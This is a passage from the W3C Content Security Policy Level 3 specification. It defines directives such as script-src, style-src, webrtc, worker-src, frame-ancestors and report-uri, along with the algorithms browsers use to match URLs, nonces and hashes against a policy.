   • new WebAssembly.Module()

   • WebAssembly.compile()

   • WebAssembly.compileStreaming()

   • WebAssembly.instantiate()

   • WebAssembly.instantiateStreaming()

   Note: the "wasm-unsafe-eval" source expression is the more specific source expression. In particular, "unsafe-eval" permits both compilation (and instantiation) of WebAssembly and, for example, the use of the "eval" operation in JavaScript. The "wasm-unsafe-eval" source expression only permits WebAssembly and does not affect JavaScript.

6. Navigation to javascript: URLs MUST pass through 4.2.3 Should elements inline type behavior be blocked by Content Security Policy?. Such navigations will only execute script if every policy allows inline script, as per #3 above.

6.1.10.1. script-src Pre-request check

This directives pre-request check is as follows:

Given a request request, a policy policy, and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, script-src and policy is "No", return "Allowed".

3. Return the result of executing 6.7.1.1 Script directives pre-request check on request, this directive, policy, and self-origin.

6.1.10.2. script-src Post-request check

This directives post-request check is as follows:

Given a request request, a response response, a policy policy and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, script-src and policy is "No", return "Allowed".

3. Return the result of executing 6.7.1.2 Script directives post-request check on request, response, this directive, policy, and self-origin.

6.1.10.3. script-src Inline Check

This directives inline check algorithm is as follows:

Given an Element element, a string type, a policy policy and a string source:

1. Assert: element is not null or type is "navigation".

2. Let name be the result of executing 6.8.2 Get the effective directive for inline checks on type.

3. If the result of executing 6.8.4 Should fetch directive execute on name, script-src and policy is "No", return "Allowed".

4. If the result of executing 6.7.3.3 Does element match source list for type and source? on element, this directives value, type, and source, is "Does Not Match", return "Blocked".

5. Return "Allowed".

6.1.11. script-src-elem

The syntax for the directives name and value is described by the following ABNF:

directive-name  = "script-src-elem"
directive-value = serialized-source-list

The script-src-elem directive applies to all script requests and script blocks. Attributes that execute script (inline event handlers) are controlled via script-src-attr.

As such, the following differences exist when comparing to script-src:

• script-src-elem applies to inline checks whose |type| is "script" and "navigation" (and is ignored for inline checks whose |type| is "script attribute").

• script-src-elems value is not used for JavaScript execution sink checks that are gated on the "unsafe-eval" check.

• script-src-elem is not used as a fallback for the worker-src directive. The worker-src checks still fall back on the script-src directive.

6.1.11.1. script-src-elem Pre-request check

This directives pre-request check is as follows:

Given a request request, a policy policy, and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, script-src-elem and policy is "No", return "Allowed".

3. Return the result of executing 6.7.1.1 Script directives pre-request check on request, this directive, policy, and self-origin.

6.1.11.2. script-src-elem Post-request check

This directives post-request check is as follows:

Given a request request, a response response, a policy policy and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, script-src-elem and policy is "No", return "Allowed".

3. Return the result of executing 6.7.1.2 Script directives post-request check on request, response, this directive, policy, and self-origin.

6.1.11.3. script-src-elem Inline Check

This directives inline check algorithm is as follows:

Given an Element element, a string type, a policy policy and a string source:

1. Assert: element is not null or type is "navigation".

2. Let name be the result of executing 6.8.2 Get the effective directive for inline checks on type.

3. If the result of executing 6.8.4 Should fetch directive execute on name, script-src-elem, and policy is "No", return "Allowed".

4. If the result of executing 6.7.3.3 Does element match source list for type and source? on element, this directives value, type, and source is "Does Not Match", return "Blocked".

5. Return "Allowed".

6.1.12. script-src-attr

The syntax for the directives name and value is described by the following ABNF:

directive-name  = "script-src-attr"
directive-value = serialized-source-list

The script-src-attr directive applies to event handlers and, if present, it will override the script-src directive for relevant checks.

6.1.12.1. script-src-attr Inline Check

This directives inline check algorithm is as follows:

Given an Element element, a string type, a policy policy and a string source:

1. Assert: element is not null or type is "navigation".

2. Let name be the result of executing 6.8.2 Get the effective directive for inline checks on type.

3. If the result of executing 6.8.4 Should fetch directive execute on name, script-src-attr and policy is "No", return "Allowed".

4. If the result of executing 6.7.3.3 Does element match source list for type and source? on element, this directives value, type, and source, is "Does Not Match", return "Blocked".

5. Return "Allowed".

6.1.13. style-src

The style-src directive restricts the locations from which style may be applied to a Document. The syntax for the directives name and value is described by the following ABNF:

directive-name  = "style-src"
directive-value = serialized-source-list

The style-src directive governs several things:

1. Style requests MUST pass through 4.1.2 Should request be blocked by Content Security Policy?. This includes:

   1. Stylesheet requests originating from a link element.

   2. Stylesheet requests originating from the @import rule.

   3. Stylesheet requests originating from a Link HTTP response header field [RFC8288].

2. Responses to style requests MUST pass through 4.1.3 Should response to request be blocked by Content Security Policy?.

3. Inline style blocks MUST pass through 4.2.3 Should elements inline type behavior be blocked by Content Security Policy?. The styles will be blocked unless every policy allows inline style, either implicitly by not specifying a style-src (or default-src) directive, or explicitly, by specifying "unsafe-inline", a nonce-source or a hash-source that matches the inline block.

4. The following CSS algorithms are gated on the unsafe-eval source expression:

   1. insert a CSS rule

   2. parse a CSS rule,

   3. parse a CSS declaration block

   4. parse a group of selectors

   This would include, for example, all invocations of CSSOMs various cssText setters and insertRule methods [CSSOM] [HTML].

   This needs to be better explained. [w3c/webappsec-csp Issue #212]

6.1.13.1. style-src Pre-request Check

This directives pre-request check is as follows:

Given a request request, a policy policy, and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, style-src and policy is "No", return "Allowed".

3. If the result of executing 6.7.2.3 Does nonce match source list? on requests cryptographic nonce metadata and this directives value is "Matches", return "Allowed".

4. If the result of executing 6.7.2.5 Does request match source list? on request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

5. Return "Allowed".

6.1.13.2. style-src Post-request Check

This directives post-request check is as follows:

Given a request request, a response response, a policy policy, and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, style-src and policy is "No", return "Allowed".

3. If the result of executing 6.7.2.3 Does nonce match source list? on requests cryptographic nonce metadata and this directives value is "Matches", return "Allowed".

4. If the result of executing 6.7.2.6 Does response to request match source list? on response, request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

5. Return "Allowed".

6.1.13.3. style-src Inline Check

This directives inline check algorithm is as follows:

Given an Element element, a string type, a policy policy and a string source:

1. Let name be the result of executing 6.8.2 Get the effective directive for inline checks on type.

2. If the result of executing 6.8.4 Should fetch directive execute on name, style-src and policy is "No", return "Allowed".

3. If the result of executing 6.7.3.3 Does element match source list for type and source? on element, this directives value, type, and source, is "Does Not Match", return "Blocked".

4. Return "Allowed".

This directives initialization algorithm is as follows:

Do something interesting to the execution context in order to lock down interesting CSSOM algorithms. I dont think CSSOM gives us any hooks here, so lets work with them to put something reasonable together.

6.1.14. style-src-elem

The syntax for the directives name and value is described by the following ABNF:

directive-name  = "style-src-elem"
directive-value = serialized-source-list

The style-src-elem directive governs the behaviour of styles except for styles defined in inline attributes.

6.1.14.1. style-src-elem Pre-request Check

This directives pre-request check is as follows:

Given a request request, a policy policy, and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, style-src-elem and policy is "No", return "Allowed".

3. If the result of executing 6.7.2.3 Does nonce match source list? on requests cryptographic nonce metadata and this directives value is "Matches", return "Allowed".

4. If the result of executing 6.7.2.5 Does request match source list? on request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

5. Return "Allowed".

6.1.14.2. style-src-elem Post-request Check

This directives post-request check is as follows:

Given a request request, a response response, a policy policy, and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, style-src-elem and policy is "No", return "Allowed".

3. If the result of executing 6.7.2.3 Does nonce match source list? on requests cryptographic nonce metadata and this directives value is "Matches", return "Allowed".

4. If the result of executing 6.7.2.6 Does response to request match source list? on response, request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

5. Return "Allowed".

6.1.14.3. style-src-elem Inline Check

This directives inline check algorithm is as follows:

Given an Element element, a string type, a policy policy and a string source:

1. Let name be the result of executing 6.8.2 Get the effective directive for inline checks on type.

2. If the result of executing 6.8.4 Should fetch directive execute on name, style-src-elem and policy is "No", return "Allowed".

3. If the result of executing 6.7.3.3 Does element match source list for type and source? on element, this directives value, type, and source, is "Does Not Match", return "Blocked".

4. Return "Allowed".

6.1.15. style-src-attr

The syntax for the directives name and value is described by the following ABNF:

directive-name  = "style-src-attr"
directive-value = serialized-source-list

The style-src-attr directive governs the behaviour of style attributes.

6.1.15.1. style-src-attr Inline Check

This directives inline check algorithm is as follows:

Given an Element element, a string type, a policy policy and a string source:

1. Let name be the result of executing 6.8.2 Get the effective directive for inline checks on type.

2. If the result of executing 6.8.4 Should fetch directive execute on name, style-src-attr and policy is "No", return "Allowed".

3. If the result of executing 6.7.3.3 Does element match source list for type and source? on element, this directives value, type, and source, is "Does Not Match", return "Blocked".

4. Return "Allowed".

6.2. Other Directives

6.2.1. webrtc

The webrtc directive restricts whether connections may be established via WebRTC. The syntax for the directives name and value is described by the following ABNF:

directive-name  = "webrtc"
directive-value = "'allow'" / "'block'"

Content-Security-Policy: webrtc 'block'

 <script>
   const iceServers = [{urls: "stun:stun.l.google.com:19302"}];
   const pc = new RTCPeerConnection({iceServers});
   pc.createDataChannel("");
   const io = new WebSocket('ws://example.com:8080');
   pc.onicecandidate = ({candidate}) => io.send({candidate});
   pc.onnegotiationneeded = async () => {
     await pc.setLocalDescription();
     io.send({description: pc.localDescription});
   };
   io.onmessage = async ({data: {description, candidate}}) => {
     if (description) {
       await pc.setRemoteDescription(description);
       if (description.type == "offer") {
         await pc.setLocalDescription();
         io.send({description: pc.localDescription});
       }
     } else if (candidate) await pc.addIceCandidate(candidate);
   };
</script>

6.2.1.1. webrtc Pre-connect Check

This directives webrtc pre-connect check is as follows:

1. If this directives value contains a single item which is an ASCII case-insensitive match for the string "'allow'", return "Allowed".

2. Return "Blocked".

6.2.2. worker-src

The worker-src directive restricts the URLs which may be loaded as a Worker, SharedWorker, or ServiceWorker. The syntax for the directives name and value is described by the following ABNF:

directive-name  = "worker-src"
directive-value = serialized-source-list

Content-Security-Policy: worker-src https://example.com/

<script>
  var blockedWorker = new Worker("data:application/javascript,...");
  blockedWorker = new SharedWorker("https://example.org/");
  navigator.serviceWorker.register('https://example.org/sw.js');
</script>

6.2.2.1. worker-src Pre-request Check

This directives pre-request check is as follows:

Given a request request, a policy policy, and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, worker-src and policy is "No", return "Allowed".

3. If the result of executing 6.7.2.5 Does request match source list? on request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

4. Return "Allowed".

6.2.2.2. worker-src Post-request Check

This directives post-request check is as follows:

Given a request request, a response response, a policy policy, and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, worker-src and policy is "No", return "Allowed".

3. If the result of executing 6.7.2.6 Does response to request match source list? on response, request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

4. Return "Allowed".

6.3. Document Directives

The following directives govern the properties of a document or worker environment to which a policy applies.

6.3.1. base-uri

The base-uri directive restricts the URLs which can be used in a Documents base element. The syntax for the directives name and value is described by the following ABNF:

directive-name  = "base-uri"
directive-value = serialized-source-list

The following algorithm is called during HTMLs set the frozen base url algorithm in order to monitor and enforce this directive:

6.3.1.1. Is base allowed for document?

Given a URL base, and a Document document, this algorithm returns "Allowed" if base may be used as the value of a base elements href attribute, and "Blocked" otherwise:

1. Let CSP list be documents global objects csp list

2. For each policy of CSP lists policies:

   1. Let source list be null.

   2. If a directive whose name is "base-uri" is present in policys directive set, set source list to that directives value.

   3. If source list is null, skip to the next policy.

   4. If the result of executing 6.7.2.7 Does url match source list in origin with redirect count? on base, source list, CSP lists self-origin, and 0 is "Does Not Match":

      1. Let violation be the result of executing 2.4.1 Create a violation object for global, policy, and directive on documents global object, policy, and "base-uri".

      2. Set violations resource to "inline".

      3. Execute 5.5 Report a violation on violation.

      4. If policys disposition is "enforce", return "Blocked".

   Note: We compare against the fallback base URL in order to deal correctly with things like an iframe srcdoc Document which has been sandboxed into an opaque origin.

3. Return "Allowed".

6.3.2. sandbox

The sandbox directive specifies an HTML sandbox policy which the user agent will apply to a resource, just as though it had been included in an iframe with a sandbox property.

The directives syntax is described by the following ABNF grammar, with the additional requirement that each token value MUST be one of the keywords defined by HTML specification as allowed values for the iframe sandbox attribute [HTML].

directive-name  = "sandbox"
directive-value = "" / token *( required-ascii-whitespace token )

This directive has no reporting requirements; it will be ignored entirely when delivered in a Content-Security-Policy-Report-Only header, or within a meta element.

6.3.2.1. sandbox Initialization

This directives initialization algorithm is responsible for checking whether a worker is allowed to run according to the sandbox values present in its policies as follows:

Note: The sandbox directive is also responsible for adjusting a Documents active sandboxing flag set via the CSP-derived sandboxing flags.

Given a Document or global object context and a policy policy:

1. If policys disposition is not "enforce", or context is not a WorkerGlobalScope, then abort this algorithm.

2. Let sandboxing flag set be a new sandboxing flag set.

3. Parse a sandboxing directive using this directives value as the input, and sandboxing flag set as the output.

4. If sandboxing flag set contains either the sandboxed scripts browsing context flag or the sandboxed origin browsing context flag flags, return "Blocked".

   Note: This will need to change if we allow Workers to be sandboxed into unique origins, which seems like a pretty reasonable thing to do.

5. Return "Allowed".

6.4. Navigation Directives

6.4.1. form-action

The form-action directive restricts the URLs which can be used as the target of a form submissions from a given context. The directives syntax is described by the following ABNF grammar:

directive-name  = "form-action"
directive-value = serialized-source-list

6.4.1.1. form-action Pre-Navigation Check

Given a request request, a string navigation type ("form-submission" or "other"), a policy policy, and an origin self-origin, this algorithm returns "Blocked" if a form submission violates the form-action directives constraints, and "Allowed" otherwise. This constitutes the form-action directives pre-navigation check:

1. Assert: policy is unused in this algorithm.

2. If navigation type is "form-submission":

   1. If the result of executing 6.7.2.5 Does request match source list? on request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

3. Return "Allowed".

6.4.2. frame-ancestors

The frame-ancestors directive restricts the URLs which can embed the resource using frame, iframe, object, or embed. Resources can use this directive to avoid many UI Redressing [UISECURITY] attacks, by avoiding the risk of being embedded into potentially hostile contexts.

The directives syntax is described by the following ABNF grammar:

directive-name  = "frame-ancestors"
directive-value = ancestor-source-list

ancestor-source-list = ( ancestor-source *( required-ascii-whitespace ancestor-source) ) / "'none'"
ancestor-source      = scheme-source / host-source / "'self'"

The frame-ancestors directive MUST be ignored when contained in a policy declared via a meta element.

Note: The frame-ancestors directives syntax is similar to a source list, but frame-ancestors will not fall back to the default-src directives value if one is specified. That is, a policy that declares default-src 'none' will still allow the resource to be embedded by anyone.

6.4.2.1. frame-ancestors Navigation Response Check

Given a request request, a string navigation type ("form-submission" or "other"), a response navigation response, a navigable target, a string check type ("source" or "response"), a policy policy, and an origin self-origin, this algorithm returns "Blocked" if one or more of the ancestors of target violate the frame-ancestors directive delivered with the response, and "Allowed" otherwise. This constitutes the frame-ancestors directives navigation response check:

1. If navigation responses URL is local, return "Allowed".

2. Assert: request, navigation response, and navigation type, are unused from this point forward in this algorithm, as frame-ancestors is concerned only with navigation responses frame-ancestors directive.

3. If check type is "source", return "Allowed".

   Note: The 'frame-ancestors' directive is relevant only to the target navigable and it has no impact on the requests context.

4. If target is not a child navigable, return "Allowed".

5. Let current be target.

6. While current is a child navigable:

   1. Let document be currents container document.

   2. Let origin be the result of executing the URL parser on the ASCII serialization of documents origin.

   3. If 6.7.2.7 Does url match source list in origin with redirect count? returns Does Not Match when executed upon origin, this directives value, self-origin, and 0, return "Blocked".

   4. Set current to documents node navigable.

7. Return "Allowed".

6.4.2.2. Relation to ``X-Frame-Options``

This directive is similar to the ``X-Frame-Options`` HTTP response header. The 'none' source expression is roughly equivalent to that headers `DENY`, and 'self' to that headers `SAMEORIGIN`. [HTML]

In order to allow backwards-compatible deployment, the frame-ancestors directive overrides the ``X-Frame-Options`` header. If a resource is delivered with a policy that includes a directive named frame-ancestors and whose disposition is "enforce", then the ``X-Frame-Options`` header will be ignored, per HTMLs processing model.

6.5. Reporting Directives

Various algorithms in this document hook into the reporting process by constructing a violation object via 2.4.2 Create a violation object for request, and policy. or 2.4.1 Create a violation object for global, policy, and directive, and passing that object to 5.5 Report a violation to deliver the report.

6.5.1. report-uri

Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname

The report-uri directive defines a set of endpoints to which csp violation reports will be sent when particular behaviors are prevented.

directive-name  = "report-uri"
directive-value = uri-reference *( required-ascii-whitespace uri-reference )

; The uri-reference grammar is defined in Section 4.1 of RFC 3986.

The directive has no effect in and of itself, but only gains meaning in combination with other directives.

6.5.2. report-to

The report-to directive defines a reporting endpoint to which violation reports ought to be sent [REPORTING]. The directives behavior is defined in 5.5 Report a violation. The directives name and value are described by the following ABNF:

directive-name  = "report-to"
directive-value = token

6.6. Directives Defined in Other Documents

This document defines a core set of directives, and sets up a framework for modular extension by other specifications. At the time this document was produced, the following stable documents extend CSP:

• [MIX] defines block-all-mixed-content

• [UPGRADE-INSECURE-REQUESTS] defines upgrade-insecure-requests

Extensions to CSP MUST register themselves via the process outlined in [RFC7762]. In particular, note the criteria discussed in Section 4.2 of that document.

New directives SHOULD use the pre-request check, post-request check, and initialization hooks in order to integrate themselves into Fetch and HTML.

6.7. Matching Algorithms

6.7.1. Script directive checks

6.7.1.1. Script directives pre-request check

Given a request request, a directive directive, a policy policy, and an origin self-origin:

1. If requests destination is script-like:

   1. If the result of executing 6.7.2.3 Does nonce match source list? on requests cryptographic nonce metadata and this directives value is "Matches", return "Allowed".

   2. If the result of executing 6.7.2.4 Does integrity metadata match source list? on requests integrity metadata and this directives value is "Matches", return "Allowed".

   3. If directives value contains a source expression that is an ASCII case-insensitive match for the "'strict-dynamic'" keyword-source:

      1. If the requests parser metadata is "parser-inserted", return "Blocked".

         Otherwise, return "Allowed".

         Note: "'strict-dynamic'" is explained in more detail in 8.2 Usage of "'strict-dynamic'".

   4. If the result of executing 6.7.2.5 Does request match source list? on request, directives value, and self-origin, is "Does Not Match", return "Blocked".

2. Return "Allowed".

6.7.1.2. Script directives post-request check

This directives post-request check is as follows:

Given a request request, a response response, a directive directive, a policy policy, and an origin self-origin:

Note: This check needs both request and response as input parameters since if requests cryptographic nonce metadata or integrity metadata matches, then the script is allowed to load and the check of whether responses url matches the source list is skipped.

1. If requests destination is script-like:

   1. Call potentially report hash with response, request, directive and policy.

   2. If the result of executing 6.7.2.3 Does nonce match source list? on requests cryptographic nonce metadata and this directives value is "Matches", return "Allowed".

   3. If the result of executing 6.7.2.4 Does integrity metadata match source list? on requests integrity metadata and this directives value is "Matches", return "Allowed".

   4. If directives value contains a source expression that is an ASCII case-insensitive match for the "'strict-dynamic'" keyword-source:

      1. If the requests parser metadata is "parser-inserted", return "Blocked".

         Otherwise, return "Allowed".

         Note: "'strict-dynamic'" is explained in more detail in 8.2 Usage of "'strict-dynamic'".

   5. If the result of executing 6.7.2.6 Does response to request match source list? on response, request, directives value, and self-origin, is "Does Not Match", return "Blocked".

2. Return "Allowed".

6.7.2. URL Matching

6.7.2.1. Does request violate policy?

Given a request request, a policy policy, and an origin self-origin, this algorithm returns the violated directive if the request violates the policy, and "Does Not Violate" otherwise.

1. If requests initiator is "prefetch", then return the result of executing 6.7.2.2 Does resource hint request violate policy? on request, policy, and self-origin.

2. Let violates be "Does Not Violate".

3. For each directive of policy:

   1. Let result be the result of executing directives pre-request check on request, policy, and self-origin.

   2. If result is "Blocked", then let violates be directive.

4. Return violates.

6.7.2.2. Does resource hint request violate policy?

Given a request request,a policy policy, and an origin self-origin, this algorithm returns the default directive if the resource-hint request violates all the policies, and "Does Not Violate" otherwise.

1. Let defaultDirective be policys first directive whose name is "default-src".

2. If defaultDirective does not exist, return "Does Not Violate".

3. For each directive of policy:

   1. If directives name is not one of the following:

      • child-src

      • connect-src

      • font-src

      • frame-src

      • img-src

      • manifest-src

      • media-src

      • object-src

      • script-src

      • script-src-elem

      • style-src

      • style-src-elem

      • worker-src

      then continue.

   2. Assert: directives value is a source list.

   3. Let result be the result of executing 6.7.2.5 Does request match source list? on request, directives value, and self-origin.

   4. If result is "Allowed", then return "Does Not Violate".

4. Return defaultDirective.

6.7.2.3. Does nonce match source list?

Given a requests cryptographic nonce metadata nonce and a source list source list, this algorithm returns "Matches" if the nonce matches one or more source expressions in the list, and "Does Not Match" otherwise:

1. Assert: source list is not null.

2. If nonce is the empty string, return "Does Not Match".

3. For each expression of source list:

   1. If expression matches the nonce-source grammar, and nonce is identical to expressions base64-value part, return "Matches".

4. Return "Does Not Match".

6.7.2.4. Does integrity metadata match source list?

Given a requests integrity metadata integrity metadata and a source list source list, this algorithm returns "Matches" if the integrity metadata matches one or more source expressions in the list, and "Does Not Match" otherwise:

1. Assert: source list is not null.

2. Let integrity expressions be the set of source expressions in source list that match the hash-source grammar.

3. If integrity expressions is empty, return "Does Not Match".

4. Let integrity sources be the result of parsing metadata given integrity metadata. [SRI]

5. If integrity sources is "no metadata" or an empty set, return "Does Not Match".

6. For each source of integrity sources:

   1. If integrity expressions does not contain a source expression whose hash-algorithm is an ASCII case-insensitive match for sources hash-algorithm, and whose base64-value is identical to sources base64-value, return "Does Not Match".

7. Return "Matches".

Note: Here, we verify only whether the integrity metadata is a non-empty subset of the hash-source sources in source list. We rely on the browsers enforcement of Subresource Integrity [SRI] to block non-matching resources upon response.

6.7.2.5. Does request match source list?

Given a request request, a source list source list, and an origin self-origin, this algorithm returns the result of executing 6.7.2.7 Does url match source list in origin with redirect count? on requests current url, source list, self-origin, and requests redirect count.

Note: This is generally used in directives' pre-request check algorithms to verify that a given request is reasonable.

6.7.2.6. Does response to request match source list?

Given a response response, a request request, a source list source list, and an origin self-origin, this algorithm returns the result of executing 6.7.2.7 Does url match source list in origin with redirect count? on responses url, source list, self-origin, and requests redirect count.

Note: This is generally used in directives' post-request check algorithms to verify that a given response is reasonable.

6.7.2.7. Does url match source list in origin with redirect count?

Given a URL url, a source list source list, an origin origin, and a number redirect count, this algorithm returns "Matches" if the URL matches one or more source expressions in source list, or "Does Not Match" otherwise:

1. Assert: source list is not null.

2. If source list is empty, return "Does Not Match".

3. If source lists size is 1, and source list[0] is an ASCII case-insensitive match for the string "'none'", return "Does Not Match".

   Note: An empty source list (that is, a directive without a value: script-src, as opposed to script-src host1) is equivalent to a source list containing 'none', and will not match any URL.

   Note: The 'none' keyword has no effect when other source expressions are present. That is, the list 'none' does not match any URL. A list consisting of 'none', https://example.com , on the other hand, would match https://example.com/.

4. For each expression of source list:

   1. If 6.7.2.8 Does url match expression in origin with redirect count? returns "Matches" when executed upon url, expression, origin, and redirect count, return "Matches".

5. Return "Does Not Match".

6.7.2.8. Does url match expression in origin with redirect count?

Given a URL url, a source expression expression, an origin origin, and a number redirect count, this algorithm returns "Matches" if url matches expression, and "Does Not Match" otherwise.

Note: origin is the origin of the resource relative to which the expression should be resolved. "'self'", for instance, will have distinct meaning depending on that bit of context.

1. If expression is the string "*", return "Matches" if one or more of the following conditions is met:

   1. urls scheme is an HTTP(S) scheme.

   2. urls scheme is the same as origins scheme.

   Note: This logic means that in order to allow a resource from a non-HTTP(S) scheme, it has to be either explicitly specified (e.g. default-src * data: custom-scheme-1: custom-scheme-2:), or the protected resource must be loaded from the same scheme.

2. If expression matches the scheme-source or host-source grammar:

   1. If expression has a scheme-part, and it does not scheme-part match urls scheme, return "Does Not Match".

   2. If expression matches the scheme-source grammar, return "Matches".

3. If expression matches the host-source grammar:

   1. If urls host is null, return "Does Not Match".

   2. If expression does not have a scheme-part, and origins scheme does not scheme-part match urls scheme, return "Does Not Match".

      Note: As with scheme-part above, we allow schemeless host-source expressions to be upgraded from insecure schemes to secure schemes.

   3. If expressions host-part does not host-part match urls host, return "Does Not Match".

   4. Let port-part be expressions port-part if present, and null otherwise.

   5. If port-part does not port-part match url, return "Does Not Match".

   6. If expression contains a non-empty path-part, and redirect count is 0, then:

      1. Let path be the result of running the URL path serializer on url.

      2. If expressions path-part does not path-part match path, return "Does Not Match".

   7. Return "Matches".

4. If expression is an ASCII case-insensitive match for "'self'", return "Matches" if one or more of the following conditions is met:

   1. origin and urls origin are same origin

   2. origins host is the same as urls host, origins port and urls port are either the same or the default ports for their respective schemes, and one or more of the following conditions is met:

      1. urls scheme is "https" or "wss"

      2. origins scheme is "http" and urls scheme is "http" or "ws"

   Note: Like the scheme-part logic above, the "'self'" matching algorithm allows upgrades to secure schemes when it is safe to do so. We limit these upgrades to endpoints running on the default port for a particular scheme or a port that matches the origin of the protected resource, as this seems sufficient to deal with upgrades that can be reasonably expected to succeed.

5. Return "Does Not Match".

6.7.2.9. scheme-part matching

An ASCII string scheme-part matches another ASCII string if a CSP source expression that contained the first as a scheme-part could potentially match a URL containing the latter as a scheme. For example, we say that "http" scheme-part matches "https".

Note: The matching relation is asymmetric. For example, the source expressions https: and https://example.com/ do not match the URL http://example.com/. We always allow a secure upgrade from an explicitly insecure expression. script-src http: is treated as equivalent to script-src http: https:, script-src http://example.com to script-src http://example.com https://example.com, and connect-src ws: to connect-src ws: wss:.

More formally, two ASCII strings A and B are said to scheme-part match if the following algorithm returns "Matches":

1. If one of the following is true, return "Matches":

   1. A is an ASCII case-insensitive match for B.

   2. A is an ASCII case-insensitive match for "http", and B is an ASCII case-insensitive match for "https".

   3. A is an ASCII case-insensitive match for "ws", and B is an ASCII case-insensitive match for "wss", "http", or "https".

   4. A is an ASCII case-insensitive match for "wss", and B is an ASCII case-insensitive match for "https".

2. Return "Does Not Match".

6.7.2.10. host-part matching

An ASCII string host-part matches a host if a CSP source expression that contained the first as a host-part could potentially match the latter. For example, we say that "www.example.com" host-part matches "www.example.com".

More formally, ASCII string pattern and host host are said to host-part match if the following algorithm returns "Matches":

Note: The matching relation is asymmetric. That is, pattern matching host does not mean that host will match pattern. For example, *.example.com host-part matches www.example.com, but www.example.com does not host-part match *.example.com.

Note: A future version of this specification may allow literal IPv6 and IPv4 addresses, depending on usage and demand. Given the weak security properties of IP addresses in relation to named hosts, however, authors are encouraged to prefer the latter whenever possible.

1. If host is not a domain, return "Does Not Match".

2. If pattern is "*", return "Matches".

3. If pattern starts with "*.":

   1. Let remaining be pattern with the leading U+002A (*) removed and ASCII lowercased.

   2. If host to ASCII lowercase ends with remaining, then return "Matches".

   3. Return "Does Not Match".

4. If pattern is not an ASCII case-insensitive match for host, return "Does Not Match".

5. Return "Matches".

6.7.2.11. port-part matching

An ASCII string or null input port-part matches URL url if a CSP source expression that contained the first as a port-part could potentially match a URL containing the latters port and scheme. For example, "80" port-part matches matches http://example.com.

1. Assert: input is null, "*", or a sequence of one or more ASCII digits.

2. If input is equal to "*", return "Matches".

3. Let normalizedInput be null if input null; otherwise input interpreted as decimal number.

4. If normalizedInput equals urls port, return "Matches".

5. If urls port is null:

   1. Let defaultPort be the default port for urls scheme.

   2. If normalizedInput equals defaultPort, return "Matches".

6. Return "Does Not Match".

6.7.2.12. path-part matching

An ASCII string path A path-part matches another ASCII string path B if a CSP source expression that contained the first as a path-part could potentially match a URL containing the latter as a path. For example, we say that "/subdirectory/" path-part matches "/subdirectory/file".

Note: The matching relation is asymmetric. That is, path A matching path B does not mean that path B will match path A.

1. If path A is the empty string, return "Matches".

2. If path A consists of one character that is equal to the U+002F SOLIDUS character (/) and path B is the empty string, return "Matches".

3. Let exact match be false if the final character of path A is the U+002F SOLIDUS character (/), and true otherwise.

4. Let path list A and path list B be the result of strictly splitting path A and path B respectively on the U+002F SOLIDUS character (/).

5. If path list A has more items than path list B, return "Does Not Match".

6. If exact match is true, and path list A does not have the same number of items as path list B, return "Does Not Match".

7. If exact match is false:

   1. Assert: the final item in path list A is the empty string.

   2. Remove the final item from path list A.

8. For each piece A of path list A:

   1. Let piece B be the next item in path list B.

   2. Let decoded piece A be the percent-decoding of piece A.

   3. Let decoded piece B be the percent-decoding of piece B.

   4. If decoded piece A is not decoded piece B, return "Does Not Match".

9. Return "Matches".

6.7.3. Element Matching Algorithms

6.7.3.1. Is element nonceable?

Given an Element element, this algorithm returns "Nonceable" if a nonce-source expression can match the element (as discussed in 7.2 Nonce Hijacking), and "Not Nonceable" if such expressions should not be applied.

1. If element does not have an attribute named "nonce", return "Not Nonceable".

2. If element is a script element, then for each attribute of elements attribute list:

   1. If attributes name contains an ASCII case-insensitive match for "<script" or "<style", return "Not Nonceable".

   2. If attributes value contains an ASCII case-insensitive match for "<script" or "<style", return "Not Nonceable".

3. If element had a duplicate-attribute parse error during tokenization, return "Not Nonceable".

   We need some sort of hook in HTML to record this error if were planning on using it here. [whatwg/html Issue #3257]

4. Return "Nonceable".

This processing is meant to mitigate the risk of dangling markup attacks that steal the nonce from an existing element in order to load injected script. It is fairly expensive, however, as it requires that we walk through all attributes and their values in order to determine whether the script should execute. Here, we try to minimize the impact by doing this check only for script elements when a nonce is present, but we should probably consider this algorithm as "at risk" until we know its impact. [w3c/webappsec-csp Issue #98]

6.7.3.2. Does a source list allow all inline behavior for type?

A source list allows all inline behavior of a given type if it contains the keyword-source expression 'unsafe-inline', and does not override that expression as described in the following algorithm:

Given a source list list and a string type, the following algorithm returns "Allows" if all inline content of a given type is allowed and "Does Not Allow" otherwise.

1. Let allow all inline be false.

2. For each expression of list:

   1. If expression matches the nonce-source or hash-source grammar, return "Does Not Allow".

   2. If type is "script", "script attribute" or "navigation" and expression matches the keyword-source "'strict-dynamic'", return "Does Not Allow".

      Note: 'strict-dynamic' only applies to scripts, not other resource types. Usage is explained in more detail in 8.2 Usage of "'strict-dynamic'".

   3. If expression is an ASCII case-insensitive match for the keyword-source "'unsafe-inline'", set allow all inline to true.

